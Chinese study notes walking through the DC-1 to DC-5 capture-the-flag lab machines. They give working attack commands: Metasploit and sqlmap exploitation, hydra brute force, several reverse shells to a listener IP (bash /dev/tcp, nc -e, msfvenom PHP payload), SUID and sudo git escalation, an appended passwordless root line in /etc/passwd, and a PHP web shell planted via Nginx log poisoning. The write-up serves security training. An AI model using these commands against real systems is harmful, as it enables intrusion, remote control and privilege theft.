学习一下实战靶场,做一下笔记
实战环境,
信息收集的能力决定了能否渗透成功,以及自己会浪费自己多少时间
前言
官网下载地址
这里提一下靶场机ip
怎么看
1 | ip a |
nmap -sP 192.168.133.134/24
//192.168.133.134是虚拟机ip
找到靶机ip
1 | 192.168.133.136 |
习惯性用nmap
扫一下它端口
DC系列【1~9】(完)
一、DC-1[初级]
five flags
信息收集
浏览器访问靶机ip
1 | 192.168.133.136 |
这是开始界面
这里介绍一个插件Wappalyzer
,它能够获取网页自身的框架和编写的语言,这样就不用查看网络返回包来分析了
可以看到网站是用php
语言编写的,CMS
是Drupal
Flag1
msf
先用msf
看看有没有drupal
相应的攻击脚本
终端输入
msfconsole
,进入msf
界面,或者菜单也可以打开
输入
search drupal
,找一下有没有drupal可以利用的脚本
对于其他命令,可以用help查询
这里可以选择不同的脚本,下面以编号1的脚本为例,其他的应该也可以
输入
use 1
,进入编号1脚本的运行环境
输入
show options
,查看脚本运行的所需要配置的项目
Required
是要求填的,yes
是必填项,no
是非必填项
这里的RHOSTS
没有填,这里是要求填入target hosts
也就是目标地址,也就是我们靶机的地址
输入
set RHOSTS 192.168.133.136
再输入
run
,运行脚本
输入
shell
,进入shell
输入
whoami
,查看当前的权限
发现是个低权限的账号
输入
ls
,可以查看到当前的目录文件
但是一堆东西挤在一起,还是有些不太方便
*交互式shell
输入下方指令,利用python进入交互式shell【固定姿势,要记住】
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
输入
ls
发现flag1.txt
输入
cat flag1.txt
查看
Every good CMS needs a config file - and so do you.
意思是:一个好的CMS(内容管理系统)需要一个config file(配置文件)也就是我们需要看看它的配置文件,这是Flag2的线索
Flag2
在目录下我们发现有个sites
目录,也就是站点目录,里面很有可能有配置文件
输入
cd sites;ls -a
有个default
(默认)目录,查看一下
输入
cd default;ls -a
看到setting.php
也就差不多是config file
输入
cat setting.php
得到Flag2
flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
意思是:暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。
你能用这些证书做什么?就是说不要局限于爆破密码来登录admin用户,你拥有了数据库这些信息,你可以做什么
Flag3
关键分析这里,这是靶机数据库的用户名和密码的信息,
有了这个我们就可以进入靶机的数据库,对里面的数据库进行修改或增添
1 | array ( |
1)mysql数据库修改admin用户的密码(或者新建一个用户密码)
输入
mysql -udbuser -pR0ck3t
*注意这里-u和-p后面没有空格,有空格会报错
先看看数据库
输入
show databases;
查看drupaldb
库里的表
输入
use drupaldb;
然后输入show tables;
看到users
表,这就是我们登录成功的关键,查看该表
发现有两个用户,我们的目的是修改或者获得admin用户的密码,当然也可以再创建一个用户,但是都需要加密
因为这里我们可以发现用户的密码是被加密了的,那加密文件肯定是在脚本目录里,也就是scripts目录里,利用加密脚本,把我们的密码加密,然后更新数据库里admin用户原本的密码
我们来找找密码加密脚本在哪里
看到scripts
目录
进入查看
输入
cd scripts;ls -a
发现有一个password-hash.sh
文件,密码就是通过它进行hash加密的
运行它,让它把我们的密码加密
输入
./password-hash.sh 123456
但是运行可能会出现如下错误,如果没有请忽略
报错说
include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory
也就是找不到该文件,但是发现,includes目录确实也不在scripts目录下,于是用cp把includes
目录放到scripts
目录下即可
输入
cp -r ../includes ./
得到加密数据
再次进入mysql
数据库,修改 admin
密码
1 | update users set pass="$S$D9wpmqJmKcXIUSGVEY2utFL8LBiwX18pbpLhBZifD9gXThGAwz4x" where name="admin" |
我们试试能不能登录
用户名:
admin
密码:
123456
登录成功
得到flag3
2)利用drupal脚本添加管理员用户
优点是更加方便,快捷,但是脚本不是万能的,只有自己明白原理才是真正掌握,这个的本质也是利用sql
注入
1 | https://www.exploit-db.com/exploits/34992 |
该网站在kali里面浏览器书签自带的,这个脚本适用于drupal,直接下载下来用即可
下载好后,运行
1 | python2 34992.py -t http://192.168.133.136 -u admin001 -p 123456 |
-t就是目标网站,-u就是新建的用户名,-p就是用户名密码
*注意这个脚本需要 python2运行,python3语法不符合
然后按照输入的,直接登录就可以了,或者直接点击下面链接
就可以拿到Flag3
Flag4
1)个人方法
分析一下flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
意思是:Special PERMS特别的权限(应该是root权限),passwd应该是查看/etc/passwd目录,FIND意思利用find命令,-exec就是需要用它执行命令, get what’s in the shadow意思是flag4在/etc/shadow里
我们先看看etc
目录
发现了passwd
文件
输入
cat passwd
查看一下内容
发现有flag4
的线索
flag4
是在/home/flag4
里面,我们到目录里看看
输入
cd /home/flag4
发现有个flag4.txt
,查看
得到flag4
2)官方方法
用了hydra
[九头蛇]工具,对我们在passwd
里看到flag4
用户进行爆破
1 | hydra -l flag4 -p /usr/share/wordlists/rockyou.txt.gz 192.168.133.136 -vV -f |
-l是指定用户或指定包含多个用户的文件,-p是指定密码或指定包含多个密码的文件,ssh就是
用户所在的网站上面-p的文件是自己下载的密码包
这里就看到flag4
用户的密码被爆破出来,是orange
然后用ssh
连接
输入
ssh flag4@192.168.133.136
然后yes
然后输入密码:orange
进入flag4
用户页面,
输入
cat flag4.txt
得到flag4
Flag5
分析一下flag5
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
意思是:您可以使用相同的方法查找或访问根目录中的标志吗?
可能但也许这并不容易。也许是这样?
root
应该就是需要提权了
suid提权
linux
提权操作可以看一下我的WEB随笔
里suid
提权,下面只记录流程
输入
find / -perm -u=s -type f 2>/dev/null
,查看目录下suid权限所有可执行二进制文件
发现find
目录
于是可以利用find
获取root
权限shell
主要是要让find
命令成功执行,找一个存在的文件即可
以在根目录为例
输入find / -name initrd.img -exec "/bin/sh" \;
提权成功
我们在flag4
里知道,最后的旗子在root
目录里
输入
cd /root;ls -a
发现thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
意思是:
做得好!!!!希望你喜欢这一点,并学习了一些新技能。
你可以告诉我你对这次小旅行的看法
通过Twitter联系我-@DCAU7
5个旗子找完,游戏结束
二、DC-2[初级]
five flags
信息收集
先用nmap
扫描一些
输入
nmap -p- 192.168.133.138
发现内容太少了
输入
nmap -p- 192.168.133.138 -A
发现7744
端口运行的ssh
,22
端口被换了
Ssh是一个安全的远程登录协议,它的端口号默认是22端口
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。
我们试试访问我们的靶机ip
:192.168.133.138
但是访问失败【如果没有问题,可以忽略】
可以看到,访问IP
的时候进行了一个跳转,跳转到了http://dc-2
,且无法访问
我猜测是hosts
文件没有修改,所以域名无法登录
需要在hosts
其中添加域名:http://dc-2
和其ip:192.168.133.138
,dns
才能正常转换
输入
vi /etc/hosts
向其中添加
1 | 192.168.133.138 dc-2 |
刷新浏览器,再次访问192.168.133.138
或http://dc-2
成功连接
Flag1
进入网页就看到flag
了
点击打开查看
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
意思是:
你通常的密码表可能不起作用,因此,也许你只需要成为cewl。密码越多越好,但有时你无法赢得所有密码。
作为一个登录以查看下一个标志。
如果找不到,请作为另一个登录
·Cewl是一个通过指定url及深度,使用爬虫技术,生成字典的一个工具。
那我们就用cewl工具试一下
*不会工具一般用-h就可以知道使用说明
Flag2
根据flag1
,我们用cewl
试试生成字典
cewl
输入
cewl http://dc-2/ >pass.txt
目录下就会生成pass.txt
输入
cat pass.txt
,查看内容
发现是生成对应网站的密码字典
flag1
整理信息好像差不多了,下面我们利用dc1
提到的wappalyzer
,查看一下网页的框架结构有没有什么线索
发现网站的CMS
是WordPress
,还可以看到它的主题是Twenty Seventeen
那wordpress
,有没有什么漏洞可以供我们利用呢,下面就提及另一个工具
wpscan
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写 能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞
于是我们就可以针对性对wordpress进行渗透看看,可不可以利用一下
输入
wpscan --url http://dc-2 -e u
然后往下看用户名
发现有三个,然后可以复制下来,弄一个用户名的文本,和之前的pass.txt
这个密码本一样
输入
vi un.txt
把
admin
jerry
tom
复制进去
然后就可以结合我们的密码文本和用户名文本,利用wpscan
这个工具,进行爆破操作了
输入
wpscan --url http://dc-2 -P pass.txt -U un.txt
稍微等一会
admin
用户密码没有找到,应该是最高权限的账号
但是jerry
和tom
用户的密码已经知道了
下面,我们就要开始找登录的页面了,一般是后台网站
我们可以用dirsearch
工具进行扫描看看
发现网站
用我们之前获得的用户名和密码登录试试
以jerry
为例,好像用tom
会显示密码错误
在page
窗口发现flag2
点开查看,得到flag2
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
意思是:
如果你不能利用WordPress并走捷径,还有另一种方法。希望你能找到另一个切入点。
Flag3
根据flag2
的提示,实际上就是说从wordpress
这条路是行不通的,要从另外的方向
但是如果wordpress
行不通,而这个网站就是wordpress
搭建起来的,那么这个网站的就不能下手
虽然网站的80
端口的http
行不通
但是我们之前用nmap
扫了一下,发现端口7744
运行着ssh
,那我们能不能利用ssh
登录成功呢
我们先用之前用过的工具hydra
进行爆破一下,看看这个ssh
的用户是谁
输入
hydra -l un.txt -P pass.txt 192.168.133.138 ssh -s 7744
发现tom
账号是在这里登录
1 | 输入ssh tom@192.168.133.138 -p 7744 |
登录成功后,ls
发现flag3.txt
输入
cat flag3.txt
,查看内容
发现没有该命令,那就可能是没有权限执行这个命令了
rbash
看到rbash
,不认识,查一下
rbash
它与一般shell的区别在于会限制一些行为,让一些命令无法执行
看来是限制了我们的命令,但我们还是得知道我们目前还能用那些命令,之前使用过ls
,所以ls
可以使用
输入
ls /home/tom/usr/bin
//查看rbash设置的可执行的命令
我们可以看到我们可以利用
1 | less ls scp vi |
关键是vi
的命令
*vi绕过->rbash逃逸
可以进入vi
中,执行set
命令,把shell
改为/bin/sh
先输入
vi
,进入vi
然后
直接输入,不用按i
:set shell=/bin/sh
//给shell赋值
回车:shell
//执行shell
回车,就退回主界面来了
这样我们就完成了逃逸
之前因为我们受限于rbash
,不能执行cd
等命令
现在执行试试
就没有阻止了
我们再试试cat
发现cat
命令找不到,但是我们已经绕过了rbash
,所以只能是其他原因,最有可能就是cat
的环境没有设置到当前位置
输入
echo $PATH
这是显示当前环境变量,可能cat并没有被设置到当前的环境变量所以无法执行
*设置全局变量
于是我们来设置全局变量,终端输入
export PATH=PATH:/usr/local/sbin:/usr/local/bin:usr/sbin:/usr/bin:/bin:sbin
这样我们执行cat
就不会只在/home/tom/usr/bin
里面寻找了,会在很多目录里寻找
输入
cd tom
ls
cat flag3.txt
得到flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
意思是:可怜的老汤姆总是在追杰瑞。也许他应该为他造成的所有压力负责。
但是看到了su,也就是需要切换用户
Flag4
根据flag3
,我们可以知道需要用su
命令切换用户到jerry
输入
su jerry
和其密码adipiscing
然后切换到jerry
目录,发现flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
意思是:
很高兴看到你走了这么远,但你还没回家。
你仍然需要得到最后的标志(唯一真正重要的标志!!!)。
这里没有提示-你现在只能靠自己了。:-)去吧-滚出去!!!!
看到git,就是提示我们用git命令
Flag5
*git缓存区溢出漏洞
输入
sudo -l
//列出目前用户可执行与无法执行的指令。
就可以发现root以nopasswd
【不需要密码】运行git
命令
原理是git
存在缓存区溢出漏洞,
在使用
1 | sudo git -p |
不需要输入root
密码,即可以root
身份执行这条命令
操作如下
sudo git -p
//-p是分页查看,这个原理就是终端的窗口大小不够显示,所以下方会出现冒号,等待输入命令
下面可以看看区别
*注意窗口大小
1.窗口足够大
可以看到显示完了,就又回到原处了【不行】
2.窗口小一些
下方就显示出:,等待输入
冒号
:
是自带有的,不是输入的:!/bin/sh
//感叹号!是shell转义字符,所以要避免sudo授权用户使用
vi,vim,ftp,lee,more,git
进入root
cd /root
当然也可以执行
:!passwd root
修改其密码
然后su root
登录也可
法 1.执行命令,拿到root的shell
$
变成#
成功
法 2.修改密码,登录
$
变成#
,成功登录
然后到/root
目录下,找到最后的 flag
1 | __ __ _ _ _ _ |
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是:恭喜!!!
特别感谢所有给我发推文的人
并向我提供了反馈-非常棒
谢谢。如果您喜欢这个CTF,请通过@DCAU7给我发一条推文
5个旗子找完,游戏结束
三、DC-3[初级]
only one flag
信息收集
【前面的靶机ip
寻找,按之前的步骤即可】
先用nmap
扫一下我们的靶机ip
1 | nmap -p- 192.168.133.139 |
看到只有80
端口,运行着一个http
服务,中间件为apache2.4.18
内容管理系统(CMS
)是joomla
利用插件wappalyzer
,也可以看到其CMS
为joomla
我们可以利用kali
包当中自带的joomscan
工具对其进行扫描
漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报告。
【没有的,可能需要更新包,然后直接下载即可】
输入
joomscan -u 192.168.133.139
扫描发现了,管理员的登录网址http://192.168.133.139/administrator/
但是不知道用户名和密码
发现其joomla
版本为3.7.0
但我们并不知道该版本有哪些漏洞,所以需要用到 kali
的Exploit-DB
工具
可以在浏览器里的Exploit-DB
网址进行查询【不过因为是国外网址有点卡】
然后寻找下载payload
也可以在终端输入命令查询【也是基于Exploit-DB
的命令行搜索工具,可以帮助我们查找渗透模块】
输入
searchsploit joomla 3.7.0
可以看到joomla 3.7.0
版本存在sql注入
的漏洞
然后查看Path
输入
searchsploit -p 42033
Path
就是该漏洞利用方法的文本地址
输入
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
可以看到该漏洞的测试平台,时间,还有漏洞的CVE
编号
关键在它给出的sqlmap
注入的模板
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
//把localhost改成靶机ip即可
运行
发现了靶机下的数据库,我们所需要的就是joomladb
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
//在原有的payload后加上-D joomladb,选定数据库
//再在后面加上–tables,输出该数据库的表
然后可以看到#__users
的表,里面很可能有线索
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns
//和上一步类似,但注意表名有#,所以需要用引号框起来,不然后面语句全被注释了
//*注,sqlmap提示按默认推荐就好
看到username
和password
,查看列里内容
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump
//dump获取字段中的数据
得到用户名和密码
但是密码被加密了,那就只能用一些工具进行解密
先生成一个加密密码的文本文件
输入
vi passwd.txt
然后把加密数据复制进去$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
john
然后我们就需要用一个解密工具john
John
是一个破解系统密码的工具
使用很简单
输入
john passwd.txt
//后面接的是密码文本文件
然后输入
john --show passwd.txt
//查看爆破成功的密码,发现爆破成功
得到密码snoopy
然后登录后台网址
用户名:
admin
密码:snoopy
登录成功,然后摸索分析一下网站
然后在Extensions
–>Template
发现有个new file
,可以新建文件,那么我们也可以新建一个我们的木马文件,拿取靶机的shell
后门生成,进入shell
法1
msfvenom
msf生成木马
输入
msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的ip LPORT=4444 -f raw > shell.php
//注意,LHOST是kali的ip
输入
ls
发现目录下生成了 shell.php
输入
cat shell.php
得到靶机对应的木马
然后在网站新建一个php
文件
然后把木马内容导入进去
然后保存一下
然后我们就需要找到木马文件路径,进行访问看看,能不能访问成功
因为我们文件是在/templates/protostar/
下上传的,所以访问
1 | http://192.168.133.139/templates/protostar/1.php |
看到/*
,看来是可以成功访问
msf利用木马
然后用msf
进行利用
先输入
msfconsole
,进入msf
然后输入
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
进入我们利用msf制作的木马利用环境
输入
show options
看看需要填写什么
看到LHOST监听的ip没有填写
输入
set LHOST 192.168.133.140
//kali的ip
输入
run
,运行
这里就是在等待我们的木马运行,我们只需要刷新一下我们之前访问木马的网页
1 | http://192.168.133.139/templates/protostar/1.php |
然后输入
输入
shell
然后输入
python -c 'import pty; pty.spawn("/bin/bash")'
//进入交互式shell,当然不嫌看着麻烦,也可以直接执行后面命令
提权
输入
ls
,简单看看文件
输入
uname -a
查看系统版本
看到unbuntu
是2016
年4
月发布的,所以是unbuntu16.04
linux
版本是4.4.0-21
版
所以根据这个版本看看有没有可以利用的漏洞,来方便我们提权
还是利用之前用过的
searchsploit unbuntu 16.04
double-fdput() ,这是运行可执行文件,即可获取root
权限
我们把它内容显示出来
输入
searchsploit -p 39772
显示文本路径
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
显示内容
在最后看到该漏洞利用的exp
下载链接
下载最后一个链接的压缩包
1 | https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip |
然后在我们的网站后台上传上去,和创建木马文件时候一样
结果报错了
看来这个网站上传处是不能上传压缩包文件的
所以我们只能用工具进行直接上传了,比如蚁剑或者菜刀等工具
我们和之前一样新建一个php
文件写上我们的一句话木马
用蚁剑连接
1 | http://192.168.133.139/templates/protostar/123.php |
然后把我们的压缩包放在目录下
然后返回msf
输入
ls
发现压缩包已经在里面了
然后解压缩
输入
unzip 39772.zip
发现目录下多了个39772
的目录
输入
cd 39772
发现有两个压缩包,我们利用exploit.tar
输入
tar -xvf exploit.tar
//解压缩
发现多了个ebpf_mapfd_doubleput_exploit
目录
1 | 输入cd ebpf_mapfd_doubleput_exploit |
发现有个compile.sh
运行
输入
./compile.sh
发现目录下有多了一个doubleput
这就是提权文件,运行一下
输入
./doupleput
1 | 输入whoami,看看提权成功没 |
提权成功
然后我们到/root
目录下查看 flag
1
2
3
4 \ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
意思是:
恭喜你,一切正常。:-)
我希望你和我一样喜欢这个挑战。
如果有任何方法可以改善这些小挑战,
请让我知道。
如往常一样,评论和投诉可以通过Twitter发送到@DCAU7
祝你有美好的一天!!!!
一个旗子找完,游戏结束
法2
反弹shell
反弹shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
由于防火墙等限制,对方机器只能发送请求,不能接收请求
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,建立一个服务端,让恶意程序主动连接,才是上策。
和法一一样,我们需要写一个反弹shell
的php
文件
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.133.140/8888 0>&1'");?>
//注意这里的ip为kali的ip,8888为监听的端口
输入
nc -lnvp 8888
开始监听
然后访问456.php
http://192.168.133.139/templates/protostar/456.php
拿到shell
,后面提权和法一
一样
法3
weevely【提权没回显】
Weevely
是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式 构建,可以算作是linux下的一款php菜刀替代工具
生成Shell
weevely generate <文件名>
weevely generate 123456 shell.php
把生成的内容,复制到我们创建的789.php
文件里,和前面两个方法步骤一样
利用触发shell
weevely http://192.168.133.139/templates/protostar/789.php 123456
python -m http.server 9999
成功进入shell
但是当执行提权时
报错无法提权,看来是被过滤啥的
四、DC-4[初级]
only one flag
信息收集
先看看靶机端口运行的服务
发现有22
和80
端口,分别运行ssh
和http
我们先访问80
端口
访问ip:
192.168.133.141
是一个基本的登录窗口,有提示是admin
用户登录界面,所以可能需要密码爆破登录
我们再利用wappalyzer
看一下网站一些基本信息
没有啥有用的信息
密码爆破
然后我们就开始进行密码爆破
已知用户名为admin
,只用对密码爆破
【字典可以自己找,当然也可以看我学习笔记写的网站下载】
这里我用的top2000.txt
最后爆破出密码为happy
登录试试
登录成功,进入Command
点击run
,就会显示上面的数据,看来是命令执行,但是它默认是ls -l
,我们试试抓包能修改请求包里的命令吗
发现是可以修改的,我们试试whoami
命令,看看当前网站登录用户权限
输入
whoami
发现是普通用户权限
下面是两个getshell
的思路
1.
后续查询操作,因为我们可以执行命令,所以也可以利用nc
反弹shell,同样也可以找到用户目录信息
终端输入
nc -l -vv -p 8888
,监听8888端口
抓包数据命令修改为
nc -nv 192.168.133.140 8888 -e /bin/bash
//192.168.133.140
是虚拟机ip,不是靶机ip
然后终端就可以执行后续执行命令的类似操作,就是执行的时候可能稍微方便一些
2.
我们修改命令,查询/etc/passwd
文档(记录每个用户的信息,方便管理员对用户的管理的一个文档)
输入
cat+/etc/passwd
发现有三个用户
charles
jim
sam
我们查看这几个用户的目录下有没有我们需要的信息
先访问charles
输入
ls+-a+/home/charles
感觉没啥有用的信息
再看看jim
输入
ls+-a+/home/jim
发现关键信息, backups
目录和mbox
目录,test.sh
里面我看了,没啥有用的信息
先看backups
目录
输入
ls+-a+/home/jim/backups
发现有个old-passwords.bak
,这个可能就是登录这三个用户的关键
查看一下内容
输入
cat+/home/jim/old-passwords.bak
发现是一个密码表,复制到一个文本文件,当作爆破的密码表
hydra对三用户进行ssh爆破
我们已经有了密码表(pd.txt)
,我们再把三个用户名写到另一个文档里(un.txt)
因为之前我们扫描知道,22
端口运行着ssh
,而80
端口我们已经访问了,所以下面端口写22
于是
输入
hydra -L un.txt -P pd.txt 192.168.133.141 ssh -s 22
有点久,等一会就行
得到jim
用户的密码
jibril04
然后我们登录ssh
输入
ssh jim@192.168.133.141 -p 22
然后输入密码后,登录成功
我们先看看我们能否执行一些管理员命令
输入
sudo -l
发现jim
用户不能执行任何管理员命令,所以不可能在jim
用户上进行提权或其他后续操作
我们仔细一些可以看到
说我们有一封邮件,那我们就看看这封用邮件是什么
但我们不知道mail
在哪里
输入
find / -name mail
找到位置/var/mail
输入
cd /var/mail;ls -a
发现有一封名为jim
的邮件,查看信息
输入
cat jim
发现是charles
发给jim
的邮件
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
翻译:
嗨,吉姆,我今天年底要放假,所以老板让我把密码给你,以防万一。
密码是:^xHhA&hvim0y
再见,
查尔斯
信里提到他自己的密码
^xHhA&hvim0y
于是我们就可以登录charles
的账号,所以我们切换用户
输入
su charles
然后输入密码后,登录成功
先看看charles
能执行什么管理员命令
输入
sudo -l
发现charles
可以执行管理员的teehee
命令
teehee
我们先需要知道这个命令是干什么的
输入
teehee -h
发现它是可以修改文件的数据,-a指令能够保证修改文件不会覆盖原有文件
那我们需要管理员权限,就可以在/etc/passwd
里面添加一个管理员用户数据
添加管理员账户
输入
sudo teehee -a /etc/passwd
然后就等待我们输入数据
按照root
用户格式,我们添加自己的数据
输入
ttoc:
(这里是密码,可以加入自己的哈希后的密码,当然不加就可以直接登录,这里我不加,忽略):0:0:root:/root:/bin/bash
添加成功,我们再看看能不能登录,是不是管理员
发现是管理员,直接到root
目录下,查看 flag
即可
1
2
3
4
5
6
7
8 888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是
恭喜!!!希望你喜欢 DC-4。只是想向所有这些人表示衷心的感谢
谁提供了反馈,谁花时间完成了这些小事
挑战。如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。
一个旗子找完,游戏结束
五、DC-5[高级]
only one flag
信息收集
官方文档里有一些提示说明,我们可以先看一下
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide soKme kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
翻译:
据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。只是为了记录,没有涉及 phpmailer 漏洞利用。:-)
==>大致关键的信息就是,在我们刷新网页的时候有的东西会发生改变,对应某种漏洞
养成习惯,先顺手用nmap
扫一下靶机端口运行的服务信息
发现80
端口正常运行着http
,54235
端口打开
我们访问192.168.133.143
先习惯看看Wappalyzer
基本信息
发现Web server
是Nginx
发现有5个窗口
挨个访问,看看有没有可以利用或者交互的地方
发现Concat
窗口下有个输入框,可以实现交互效果,我们乱输入一些数据先试试
看看变化
发现url
在提交时发生的跳转,并且显示了一些信息
1 | http://192.168.133.143/thankyou.php?firstname=1&lastname=2&country=australia&subject=123 |
看得出来,网站跳转到了thankyou.php
,而且我们输入的信息也被以明文方式显示出来了
那怎么利用呢?
我们想起之前作者给的提示,说刷新的时候会发生变化,我们刷新看看
对比两个图可以发现,底下的年份时间发生了改变,刷新一次,增加一年
这个肯定是有用的,但是怎么利用还是不知道
我们先要了解这个变化肯定是有文件来调用的,而我们肯定是可以访问这个文件的,那我们就需要再次针对性的进行信息收集
用经典的dirsearch
来扫一下
除去我们已经访问过的文件和响应码403的,发现有一个叫做footer.php
文件,刚好和我们的发现变化的那个地方一致,也是底部文本
变化
1 | http://192.168.133.143/footer.php |
发现果然是我们发现变化的那个地方,而且我们刷新时,也会同时变化
文件包含
所以按上面我们推到的思路,和信息的收集,
concat.php
的底部为了显示和footer.php
的实现功能,肯定是实现了文件包含,
concat.php
把footer.php
文件包含了
==>我们渗透的基础思路就变成了利用的文件包含 拿到shell
1.验证我们的想法
【文件包含注入点可控参数名一般为file
,当然如果出现怎么都不行的,那就可以用爆破
**(fuzz)**或者我们的思路错误了】
我们先试试能不能包含index.php
1 | http://192.168.133.143/thankyou.php?file=index.php |
发现index.php
确实被我们成功包含了,那我们就可以肯定我们的思路是没有偏离了
2.利用文件包含拿shell
既然能够在thank.php
里实现文件包含,那我们就试试能不能包含一些敏感文件,来获取更多信息
1)向Nginx错误日志导入一句话🐎
根据我们之前收集的信息,
发现Web server
是Nginx
Nginx访问日志:网站访问者有关的活动都记录在访问日志 //
access_log
Nginx错误日志:当访问错误的时候,会把错误参数保存在其中 //
error_log
所以我们在我们的
url/?file=
的后面加上一句话🐎,
然后因为访问错误,错误参数【一句话🐎】就会到nginx的错误日志
中,
然后利用我们发现的文件包含把错误日记包含在thankyou.php
文件中,
访问拿到shell
,拿到shell
nginx
配置文件位置:**/etc/nginx/nginx.conf**
我们包含该文件看看nginx的错误日志文件位置在哪里
看到文件位置
error_log:/var/log/nginx/error.log
先输入一句话🐎,报错导入nginx
错误日志
key:如果直接在网页输入一句话🐎导入错误日志是有问题的
当我们访问
http://192.168.133.143/thankyou.php?file=<?php system($_GET['cmd']); ?>
虽然确实把这个信息导入到了
/var/log/nginx/error.log
文件里但是前端似乎存在过滤,会把<>和’’或””,替换成其他符号,所以当我们想要利用
http://192.168.133.143/thankyou.php?file=/var/log/nginx/error.log&cmd=ls
这样想利用我们导入的木马拿到shell的时候,实际上我们的木马已经被破坏了,所以根本不能执行我们想要的一系列命令,所以用抓包burp直接发送到服务器,绕过前端过滤先,这样我们的一句话🐎才能发挥它的作用
所以我们执行抓包操作
没有其他回显内容
我们在文件包含/var/log/nginx/error.log
,并利用cmd
参数执行ls
试试,看看是否真的把我们的木马包含进去了
发现确实成功包含进去了,而且还可以执行命令
